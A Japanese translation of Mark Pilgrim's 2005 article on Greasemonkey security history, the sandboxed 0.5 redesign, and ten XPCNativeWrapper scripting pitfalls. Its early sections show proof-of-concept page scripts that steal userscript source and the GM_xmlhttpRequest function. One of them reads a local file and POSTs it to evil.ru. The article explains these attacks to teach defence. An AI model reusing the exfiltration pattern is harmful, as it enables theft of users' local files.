Greasemonkeyの共通な落とし穴を避ける

Greasemonkeyの過去においてのセキュリティ上の問題の解説。
Greasemonkeyだけに限らず、JavaScriptによるユーザ拡張を作成している全ての方に対して一読の価値があるドキュメントだと思われます。

原文:O'Reilly Media - Technology and Business Training

Greasemonkeyの共通な落とし穴を避ける

Greasemonkeyのセキュリティの歴史があなたの今にどう影響するのか
(著) Mark pilgrim "Greasemonkey Hacks"の著者
2005/11/11


昔々、あるところにセキュリティホールがありました。(これは普通のおとぎ話ではないからそのまま読んでください。)
Greasemonkeyアーキテクチャは最初に書かれて以来大幅に変更されてきた。Version0.3は初めて広範囲に人気を得たバージョンだが本質的にセキュリティフローを抱えていた。ユーザスクリプトを注入して実行するときに、リモートページを信頼しすぎてしまった。


その時を振り返ると、Greasemonkeyのインジェクションメカニズムはシンプルでエレガントで、そして間違っていた。API関数の集合をグローバルなwindowオブジェクトのプロパティとして初期化していた。そうすることでユーザスクリプトがそれらを呼ぶことができるように。それからどのユーザスクリプトが現在のページにて実行されるべきか@includeと@excludeのパラメタで決定した。各ユーザスクリプトソースコードをロードして、<script>要素を作成し、<script>要素のコンテントとしてユーザスクリプトソースコードアサインした。そしてページに要素を挿入した。全てのユーザスクリプトの実行が完了するとすぐに、Greasemonkeyは自身が挿入した<script>要素を消し、自身が付け加えたグローバルなプロパティを消去することによりページを片付けた。


まったくシンプルでエレガントだ。だからいったい何を間違えてしまったのだろうか?

セキュリティホール#1: ソースコード漏洩

答はJavaScript言語とDocument Object Model (DOM)のあまり使用されない力に存在する。ブラウザ上で実行されるJavaScriptはただのScript言語ではない。ブラウザは複雑なオブジェクトの継承を、Webページを操作するためにスクリプトに与える。そして複雑なイベントモデルを与えることにより何かが起こった場合にスクリプトにそれを伝えるのだ。


これが最初のセキュリティホールに直接導く。Greasemonkey0.3がページにユーザスクリプトを挿入するとき、そのことがDOMNodeInsertedイベントを引き起こす。それによりリモートページは割り込みをかけることができる。次のJavaScriptコードを持つwebページについて考えてみよう。注意して欲しいのはこれはユーザスクリプトではなくただの通常のJavaScriptコードであり、ユーザスクリプトが実行されるWebページの一部だということだ。

<script type="text/javascript">
_scripts = [];
_c = document.getElementsByTagName("script").length;
function trapInsertScript(event) {
    var doc = event.currentTarget;
    var arScripts = doc.getElementsByTagName("script");
    if (arScripts.length > _numPreviousScripts) {
        _scripts.push(arScripts[_c++].innerHTML);
    }
}
document.addEventListener("DOMNodeInserted", trapInsertScript, true);
</script>


Greasemonkey 0.3が<script>要素を足すことによりユーザスクリプトをこのページに挿入したとき、FirefoxはtrapInsertScript関数を呼び出し、リモートページが挿入されたばかりのユーザスクリプトソースコード全体のコピーを保存することを可能にする。例えGresemonkeyが<script>要素を直ちに削除したとしても、ダメージが既に与えられた後だ。リモートページはこのページにて実行された各ユーザコードの完璧なコピーを手に入れられるし、その情報を元に望むことを全て行うことができる。


明らかにこれは望ましいことではない。しかし事態はより悪くなる。

セキュリティホール #2: API漏洩

Greasemonkeyの最もパワフルな機能はユーザスクリプトを第3者のWebページに挿入できることではない。ユーザスクリプトは通常の非特権的なJavaScriptにはできないことができる。なぜならばGreasemonkeyがユーザスクリプトに向けたAPI関数の集合を与えるからだ。

  • GM_setValue: スクリプト固有の値をFirefoxのpreferenceデータベースに格納する。格納した値はabout:configを指定することで見ることができ、Greasemonkey上でフィルタリングできる
  • GM_getValue: スクリプト固有の値をFirefoxのpreferenceデータベースから取得する。ユーザスクリプトは自身で格納した値のみアクセスできる。他のユーザスクリプトや他のブラウザ拡張や、Firefox自身が格納した値にアクセスすることはできない。
  • GM_log: JavaScriptコンソールにメッセージを記録する
  • GM_registerMenuCommand: Toolsメニュー下のユーザスクリプトコマンドメニューにメニューアイテムを追加する。
  • GM_xmlhttpRequest: 任意のURLに任意のヘッダと任意のデータでGETまたはPOSTのリクエストを行う。


この最後のAPI関数は明らかに最もパワフルだ。それに最も使い勝手が良い。なぜならばユーザスクリプトに異なるサイトとのデータ交換を行うことを可能とするからだ。Greasemonkey Hacksでは第11章をGM_xmlhttpRequestに充てている。


通常のWebページから落としたJavaScriptコードはこれができない。XMLHttpRequestオブジェクトは同じような機能をいくつか持っている。しかしセキュリティ上の理由のため、Firefoxはわざとそれが同じサイトの異なるページとコミュニケートすることのみに制限している。GreasemonkeyGM_xmlhttpRequest関数はこの制限を緩めユーザスクリプトに好きなWebサイトとコミュニケートすることを可能としている。どこのWebサイトとでも、いつでも、だ。


これら全てが我々を次のセキュリティホールに導く。Greasemonkey0.3はリモートページのスクリプトソースコードを盗むことを許すだけでなくGreasemonekyのAPI関数へのアクセス権をも盗ませてしまうのだ。

<script type="text/javascript">
_GM_xmlhttpRequest = null;
function trapGM(prop, oldVal, newVal) {
    _GM_xmlhttpRequest = window.GM_xmlhttpRequest;
    return newVal;
}
window.watch("GM_log", trapGM);
</script>


全てのJavaScriptオブジェクトに存在するwatchメソッドを用いることにより、WebページはGreasemonkey0.3がGM_log関数をwindowオブジェクトに追加をするのを待つことが可能だ。少なくとも1つのユーザスクリプトがそのページにて実行される限り、いつでもこの状態が起こりうる。それはGreasemonkeyがユーザスクリプトを実行させる<script>要素を挿入するまさに直前だ。Greasemonkeyがwindow.GM_log要素をアサインするとき、Firefoxはリモートページが用意したtrapGM関数を呼んでしまうだろう。リモートページはwindow.GM_xmlhttpRequestへの参照を盗み、後の使用のために保存するだろう。


ユーザスクリプトは何もなかったように実行される。そしてGreasemonkeyは自身をwindowオブジェクトからAPI関数を削除することにより消し去るだろう。しかしダメージは既に与えられている。リモートページはその時点でもGM_xmlhttpRequest関数への参照を保存している。そしてこの関数への参照を通常のJavaScriptコードでは許可されないことが前提とされている事柄を行うのに使用することが可能になる。


セキュリティのエキスパートはこれを特権昇格攻撃と呼ぶ。事実上、Greasemonkey0.3は非特権JavaScriptコードをサンドボックスに入れる注意深いプランを立てることを怠ってしまった。そして非特権コードが特権関数へのアクセスを得られるようにしてしまった。


しかしこれで終わりではない。事態はさらに悪化する。

セキュリティホール#3: ローカルファイルアクセス

Greasemonkey0.3にはもう1つ致命的な穴があった。GETリクエストをローカルファイルを指し示すfile://のURLに発行することにより、ユーザスクリプトはローカルのハードディスク上にあるどのファイルの内容でもアクセスし、リードすることが可能であった。これはそれ自身でも不安にさせる。しかしリモートページスクリプトへのAPI関数漏洩と一緒になった時に非常に危険なのだ。これらのセキュリティホールのコンビネーションはリモートページスクリプトGM_xmlhttpRequest関数への参照を盗み、それを呼ぶことでハードディスク上のどんなファイルでも読むことができることを意味する。そしてもう一度呼ぶだけでそのファイルの中身を世界中のどこにでも送ることができることを示す。

<script type="text/javascript">
// セキュリティホール#2を用いて
// _GM_xmlhttpRequestは事前に盗られている

_GM_xmlhttpRequest({
  method: "GET",
  url: "file:///c:/boot.ini",
  onload: function(oResponseDetails) {
    _GM_xmlhttpRequest({
      method: "POST",
      url: "http://evil.ru/",
      data: oResponseDetails.responseText
    });
  }
});
</script>

徹底的な再設計

Greasemonkey0.3に存在するこれらの問題全ては1つの根本的なアーキテクチャの欠陥に起因する。実行される環境を安易に信じすぎた。デザイン的に、ユーザスクリプトは敵意ある環境にて実行される。第3者のコントロールの下にある任意のWebページ上にてだ。我々は半ば信頼された、半ば権限委譲を行ったコードをその環境で実行したい。しかし我々は可能性として敵意あるコードに対しその信頼、またはその権限を漏らしたくはない。


解決方法はユーザスクリプト環境を実行することができる安全な環境を準備することだ。サンドボックスは敵意ある環境のいくらかのパーツに対しアクセスする必要がある。例えばWebページのDOMだ。しかし悪意あるページのスクリプトに対し、ユーザスクリプトの邪魔をさせたり、特権関数への参照を傍受させたりは絶対にさせてはならない。サンドボックスは一方通行で、ユーザスクリプトに対しページの操作を許可するが、逆方向には何もさせない。


Greasemoneky0.5はユーザスクリプトサンドボックスの中で実行する。<script>要素をオリジナルのページに挿入することはない。またグローバルなwindowオブジェクト上にAPI関数を定義することもない。リモートページスクリプトはユーザスクリプトを傍受することはできない。なぜならばユーザスクリプトはそのページを変更することなしに実行されるからだ。


しかしこれではまた戦いの半分だ。ユーザスクリプトはWebページを変更するために関数を呼ぶ必要があるだろう。これにはdocument.getElementsByTagNameやdocument.createElementのようなDOMメソッドを含む。またグローバルな関数、例えばwindow.alertやwindow.getComputedStyleのようなものも含む。悪意あるWebページはこれらの関数を再定義しユーザスクリプトが正常に動作することを阻むか、または全体で全く違うことを実行させてしまう。


この2つ目の問題を解決するために、Greasemonkey0.5はFirefoxのあまり知られていない機能であるXPCNativeWrapperを使用する。単純にwindowオブジェクトやdocumentオブジェクトを参照する代わりに、GreasemonkeyはこれらをXPCNatvieWrapperに対し再定義する。XPCNativeWrapperは実際のオブジェクトへの参照をラップする。しかし下層に存在するオブジェクトに対しメソッドの再定義やプロパティの傍受を許しはしない。つまりユーザスクリプトがdocument.createElementを呼んだ時、本当のcreateElementメソッドであることを保障する。リモートページにより再定義されたランダムなメソッドの類ではない。
より深く検証してみよう。


Greasemonkey0.5では、ユーザスクリプトが実行されるサンドボックスはwindowとdocumentオブジェクトをXPCNativeWrapperの奥に定義する。これによりそれらのメソッドを呼ぶことやそれらのプロパティにアクセスすることがが安全であるだけでなく、それらの返り値であるオブジェクトに対するメソッド呼び出しやプロパティへのアクセスが安全であることを意味する。


例として、documentgetElementsByTagName関数を呼び、返り値の複数の要素に対しループするユーザスクリプトを書きたいとする。

var arTextareas = document.getElementsByTagName('textarea');
for (var i = arTextareas.length - 1; i >= 0; i--) {
    var elmTextarea = arTextareas[i];
    elmTextarea.value = my_function(elmTextarea.value);
}


documentオブジェクトは本当のdocumentオブジェクトのXPCNativeWrapperである。そのためユーザスクリプトはdocument.getElementsByTagNameを呼べるし、本当のgetElementsByTagNameメソッドを呼んでいることを知ることができる。しかしメソッドが返した要素オブジェクトの集合に対してはどうだろうか?これらの要素も全てXPCNativeWrapperである。つまりそれらのプロパティ、例えばvalueプロパティに対しアクセスすることやメソッドを呼ぶことも安全だ。


集合(collection)自体はどうであろうか?document.getElementsByTagName関数は通常はHTMLCollectionオブジェクトを返す。このオブジェクトはlengthのようなプロパティや特別なgetterメソッドを持ち、JavaScriptの配列であるかのように扱うことができる。しかしそれは配列ではない。オブジェクトだ。ユーザスクリプトのコンテキストではこのオブジェクトもまたXPCNativeWrapperにてラップされている。つまりlengthプロパティにアクセスすることもできるし、本当のlengthプロパティを得ていることを知ることもできる。リモートページにより再定義された危険なgetter関数を呼んでいるわけではない。


このこと全ては理解しにくいかもしれない。しかし非常に重要なことだ。このユーザスクリプトの例はあなたが普段のWebページの一部として書くコードとまったく同じように見えるだろう。そして全く同じことをして終了する。しかし理解する必要があるのはユーザスクリプトのコンテキストでは、全てがXPCNativeWrapperにてラップされていることだ。documentオブジェクトもHTMLCollectionもそして全ての要素もまた関係するオブジェクトにXPCNativeWrapperしたものである。


Greasemonkey0.5は通常のJavaScriptコードに見えるコードを相当の量書くことを可能にする。そして通常のJavaScriptコードがするだろうと期待する内容を実行させることができる。しかし幻想は完璧ではない。XPCNativeWrapperには理解しなければならない限界がある。Greasemonkeyスクリプトを書くときそこには10個の共通な落とし穴がある。そしてそれら全てはXPCNativeWrapperの限界を中心に展開するのだ。

落とし穴#1:自動評価文字列


一定の時間後に関数を実行するwindow.setTimeoutのようなコールバック関数を設定したい場所に、JavaScriptはコールバックを文字列として定義することを許可する。コールバックが実行される時に、Firefoxは文字列を評価し、実行する。これが最初の落とし穴に導く。


ユーザスクリプトがmy_funcという関数を定義するとしよう。以下のコードは1秒遅れてmy_func()を実行するように見える。

window.setTimeout("my_func()", 1000);


これはGreasemonkeyスクリプトでは動かない。my_func関数は絶対に実行されない。1秒後にコールバックが実行される時、ユーザスクリプトとそのサンドボックス全体は見えなくなる。window.setTimeout関数は1秒後に存在するそのページのコンテキスト内でJavaScriptコードを評価する。しかしそのページにはmy_func関数は含まれない。事実、ページがmy_func関数を持つことは絶対にない。その関数はGreasemonkeyサンドボックスの中にのみ存在しうるのだ。


しかしこれは、タイムアウトを使うことができないという意味ではない。ただその設定の仕方が異なるのだ。以下に同じコードを、ユーザスクリプトのコンテキスト内にて実行される書き方にて示す。

window.setTimeout(my_func, 1000);

違いは何だろうか? my_func関数が文字列の代わりに1つのオブジェクトとして直接参照される。window.setTimeout関数に対し関数参照を渡すとそれが実行されるまでその参照が保持される。設定した時間が過ぎたとき、my_func関数をまだ呼ぶことができる。なぜならばJavaScriptは関数の参照を生きたまま持っているからだ。どこかで、何かが、関数への参照を保持している限りこれが成り立つ。

落とし穴#2:イベントハンドラ

もう1つのJavaScriptでの共通なパターンは、onclickやonchange、onsubmitなどのイベントハンドラを設定する場合だ。最も一般的なonclickのイベントハンドラの設定方法は、要素のonclickプロパティに対し文字列を設定することだ。

var elmLink = document.getElementById('somelink');
elmLink.onclick = 'my_func(this)';

このテクニックはユーザスクリプトではwindow.setTimeoutの呼び出しが失敗したのと同じ理由により失敗する。ユーザがリンクをクリックした時に、my_func関数はユーザスクリプトの他の場所で定義されており、もはや存在しない。


それではonclickのコールバックを直接設定してみよう。

var elmLink = document.getElementById('somelink');
elmLink.onclick = my_func;


これもまた失敗する。しかし全く違う理由による。document.getElementById関数はElementオブジェクトのXPCNativeWrapperによるラップを返す。Element自身ではない。これはつまり関数参照をelmLink.onclickに設定するということが、Elementのプロパティに設定するのではなく、XPCNativeWrapperのプロパティとして設定しているのだ。多くのプロパティ、例えばidやclassNameでは、XPCNativeWrapperは下位の要素の関連するプロパティに対して迂回した上で設定してくれる。しかしXPCNativeWrappersの実装上の制限により、このパススルーはonclickのようなイベントハンドラでは働かない。このコード例では実際の要素上には関連するonclickハンドラを設定していない。そしてリンクをクリックした時にmy_funcは実行されない。


これはイベントハンドラを設定できないということではない。ただ上の明らかな方法では設定できないということだ。たった一つのうまくいくテクニックとはaddEventListenerメソッドを用いることだ。

var elmLink = document.getElementById('somelink');
elmLink.addEventListener("click", my_func, true);


このテクニックは全ての要素にてうまく働く。windowやdocumentオブジェクトでもだ。全てのDOMイベント、clickやchange、submit、keypress、mousemove等でもうまくいく。document.getElementsByTagNameやdocument.getElementByIdを呼ぶことにより見つけたページ上に存在する要素でもうまくいく。またdocument.createElementを呼ぶことにより直接ページ上に作成した要素に対してもうまくいく。これがユーザスクリプトが適用されるコンテキスト上でもうまくいく唯一の方法である。


落とし穴#3:名前付きフォームとフォーム要素


FirefoxはWebページ上の要素に対し色々なアクセス方法を提供する。例として、もし"gs"という名前のフォームがあり、"q"という名前のインプットボックスを持っているとしよう。

<form id="gs">
<input name="q" type="text" value="foo">
</form>

普通ならインプットボックスの値を以下のように得ることができるであろう。

var q = document.gs.q.value;

ユーザスクリプト内ではこれは動かない。documentオブジェクトはXPCNativeWrapperであり、IDを用いて要素を取得する省略表現をサポートしない。つまりdocument.gsは未定義であり、そのためにステートメントの残りは失敗する。しかし例えdocumentのラッパーがIDによる要素の取得をサポートしているとしても、ステートメントは依然として失敗するだろう。なぜならば要素を包むXPCNativeWrapperは名前によりフォームフィールドを取得する省略表記をサポートしないからだ。これはdocument.gsがフォームの要素を返しても、document.gs.qはインプット要素を返さないことを意味する。従ってステートメントはまだ失敗する。


これらを修正するには、名前でフォームにアクセスするためにdocument.formsという配列のnamedItemメソッドを利用する必要がある。またフォームのフィールドに名前でアクセスするためにフォーム要素上の配列、elementsのnamedItemメソッドを利用する必要がある。

var form = document.forms.namedItem("gs");
var input = form.elements.namedItem("q");
var q = input.value;


フォームと入力要素のために一時変数を使うことなく1行にまとめることもできる。しかしこれらのメソッドをそれぞれ呼ぶ必要があるし、返り値をいっしょに並べる必要がある。省略表記はない。

落とし穴#4:カスタムプロパティ

JavaScriptはどのオブジェクトに対してもカスタムプロパティを定義することを許可している。それらをアサインするだけだ。この機能はWebページ上の要素にも広がり、任意の属性を作成し、要素のDOMオブジェクトに対し直接アサインすることが可能だ。

var elmFoo = document.getElementById('foo');
elmFoo.myProperty = 'bar';

これはGreasemonkeyスクリプトでは働かない。なぜならばelmFooは実際にはfooと名づけられた要素にXPCNativeWrapperをラップしたものであり、XPCNativeWrapperはこの文法にてカスタム属性を定義することを許さない。idやhrefといった共通の属性を設定することはできる。しかしもし自分で決めたカスタム属性を定義したいのであれば、setAttributeメソッドを使う必要がある。

var elmFoo = document.getElementById('foo');
elmFoo.setAttribute('myProperty', 'bar');


もしこのプロパティに後でアクセスしたいのであれば、getAttributeメソッドを利用する必要がある。

var foo = elmFoo.getAttribute('myProperty');

落とし穴#5:コレクションのイテレーティング

通常、document.getElementsByTagNameのようなメソッドはHTMLCollectionオブジェクトを返す。このオブジェクトはJavaScriptのArrayオブジェクトのように働く。lengthプロパティを持ちコレクションの要素の数を返す。"in"キーワードを用いることによりコレクションに含まれる全ての要素に対しイテレーションを行うことができる。

var arInputs = document.getElementsByTagName("input");
for (var elmInput in arInputs) {
  ...
}


これはGreasemonkeyスクリプト内では動かない。なぜならばarInputsオブジェクトはHTMLCollectionオブジェクトをXPCNativeWrapperにてラップしたものであり、XPCNativeWrapperは"in"キーワードをサポートしない。その代わりにforループを用いてCollectionに対しイテレーションを行い、各要素への参照を分離して個々に取得する必要がある。

for (var i = 0; i < arInputs.length; i++) {
  var elmInput = arInputs[i];
  ...
}

落とし穴#6:scrollIntoView

通常のWebページのコンテキストでは、プログラムによりviewportを操作してページをスクロールさせることができる。例として次のコードはfooと名づけられたpage要素を見つけ、その要素が画面上に現れるようにブラウザのウィンドウをスクロールさせる。

var elmFoo = document.getElementById('foo');
elmFoo.scrollIntoView();

これはGreasemonkeyスクリプトでは動かない。なぜならばelmFooはXPCNativeWrapperであり、XPCNativeWrapperは下層のラップされた要素のscrollIntoViewメソッドを呼びはしないからだ。その代わりXPCNativeWrapperオブジェクトの特別なwrappedJSObjectプロパティを使って実際の要素に対する参照を得なければ成らない。それからそのscrollIntoViewメソッドを呼ぶ。

var elmFoo = document.getElementById('foo');
var elmUnderlyingFoo = elmFoo.wrappedJSObject || elmFoo;
elmUnderlyingFoo.scrollIntoView();

重要なのは悪意あるページがscrollIntoViewメソッドをviewpointに対するスクロールの実行以外の何かに再定義している危険性があることに注意しなければならない。この問題に対しては一般的な解決方法は存在しない。

落とし穴#7:Location

通常のJavaScriptのコードには現在のページのURLを操作する方法が幾らか存在する。window.locationオブジェクトは現在のURLに関する情報を保持する。完全なURLであるhrefや、ドメインネームであるhostname、ドメインネームの後ろに値するpathnameなどが含まれる。window.location.hrefに他のURLを設定することでプログラムにて新しいページへの移動が可能だ。しかしこれには省略記法が存在する。window.locationオブジェクトはそのhref属性をディフォルトのプロパティと定義している。これはつまり新しいページに移動するには単純にwindow.locationに対して設定を行えば良いことを意味する。

window.location = "http://example.com/";


通常のJavaScriptコードでは上記のコードはwindow.location.hrefプロパティに設定を行い、新しいページへと移動する。しかしGreasemonkeyスクリプトではこれは動かない。なぜならばwindowオブジェクトはXPCNativeWrapperであり、XPCNativeWrapperはラップしたオブジェクトに対してディフォルトのプロパティへ設定を行う機能をサポートしないためだ。これはGreasemonekyスクリプト内にてwindow.locationの設定を行うことは実際に新しいページへ移動しないことを意味する。その代わりに明示的にwindow.location.hrefに対して設定を行う必要がある。

window.location.href = "http://example.com/";


これはまたdocument.locationオブジェクトに対しても当てはまる。

落とし穴#8:リモートページスクリプトの呼び出し

稀にユーザスクリプトはリモートページが定義した関数を呼ぶ必要に迫られる。例としてGoogleWebメールサービスであるGmailに関わる幾つかのGreasemonkeyスクリプトが挙げられる。Gmailは非常にJavaScriptに依存しているため、それを拡張したいユーザスクリプトはオリジナルのページが定義した関数を呼ぶ必要が頻繁に発生する。

var searchForm = getNode("s");
searchForm.elements.namedItem("q").value = this.getRunnableQuery();
top.js._MH_OnSearch(window, 0);

オリジナルページのスクリプトはXPCNativeWrapperを引数に取ることを想定していない。ここで_MH_OnSearch関数はオリジナルのページにて定義され、最初の引数として本当のwindowを期待している。windowをラップしたXPCNativeWrapperではない。この問題を解決するためにGreasemonkeyは特別な値、unsafeWindowを定義しており、それは実際のwindowオブジェクトへの参照だ。

var searchForm = getNode("s");
searchForm.elements.namedItem("q").value = this.getRunnableQuery();
top.js._MH_OnSearch(unsafeWindow, 0);

これは1つの理由によりunsafeWindow(安全ではないウィンドウ)と呼ばれている。そのプロパティとメソッドはリモートページにより仮想的にどんなものにでも再定義できるためだ。あなたがリモートページが危害を加えないことを完全に確信した場合を除いてunsafeWindowのメソッドを呼ぶべきではない。できる限りオリジナルページにて定義された関数への引数としてのみ使用するか、次の章にて示されるようにwindowのプロパティを監視する場合のみに利用するべきだ。


GreasemonkeyはまたunsafeDocumentも定義する。これは実際のdocumentオブジェクトだ。unsafeWindowと同じように、実際のdocumentオブジェクトを期待するページスクリプトに対する引数としてのみ利用すべきだ。

落とし穴#9: watch

この文章の最初にて筆者はwatchメソッドについて触れた。それは全てのJavaScriptオブジェクトにて有効だ。オブジェクトのプロパティに対するアサインメントに割り込むことを可能にする。例としてwindow.locationオブジェクトのwatchを設定することによりプログラムにより新しいページに移動させようとするスクリプトを監視することができる。

window.watch("location", watchLocation);
window.location.watch("href", watchLocation);

ユーザスクリプトのコンテキストではこれは動かない。unsafeWindowオブジェクトに対してwatchを設定する必要がある。

unsafeWindow.watch("location", watchLocation);
unsafeWindow.location.watch("href", watchLocation);

注意が必要なのはこれはそれでも危険であり、悪意あるページがそれ自身のwatchメソッドを再定義する恐れがある。この問題に対する一般的な解決方法はまだない。

落とし穴#10:style

JavaScriptでは、全ての要素はstyle属性を持つ。それにより要素のCSSスタイルを取得・設定することができる。Firefoxはまた複数のstyleを一度に変更する省略記法を持つ。

var elmFoo = document.getElementById("foo");
elmFoo.setAttribute("style", "margin:0; padding:0;");

これはGreasemonkeyスクリプトでは動かない。なぜならばdocument.getElementByIdから返されるオブジェクトはXPCNativeWrapperであり、XPCNativeWrapperはこのCSSスタイルを大量に設定する省略記法をサポートしない。個別にスタイルを設定する必要がある。

var elmFoo = document.getElementById("foo");
elmFoo.style.margin = 0;
elmFoo.style.padding = 0;

結論

今回の話は長く複雑なハックだった。もしあなたが今完全に混乱してないのであれば、あなたは恐らくここまでに注意を払わずにいたのだろう。Greasemonkey0.5でのアーキテクチャ上の変更が示すセキュリティ上の懸念は微妙、かつ複雑だ。しかしそれを理解することが重要だ。


この増大するセキュリティに対するトレードオフは複雑さを増した。特にXPCNativeWrapperの制限や思いがけない出来事に対してだ。これを要約するために筆者ができることはもうそんなにない。ただし"Greasemonkey Hacks"の中のスクリプトは全て動作することを保障する以外にはだ。筆者は個人的にそれら全てを広範囲にわたってGreasemonkey0.5にて更新し、テストを行った。読者自身のハックに対する青写真として役に立つだろう。


Mark Pilgrimはユーザ補助機能のアーキテクト。diveintomark.orgにてトラブルに多忙な彼を見つけることができる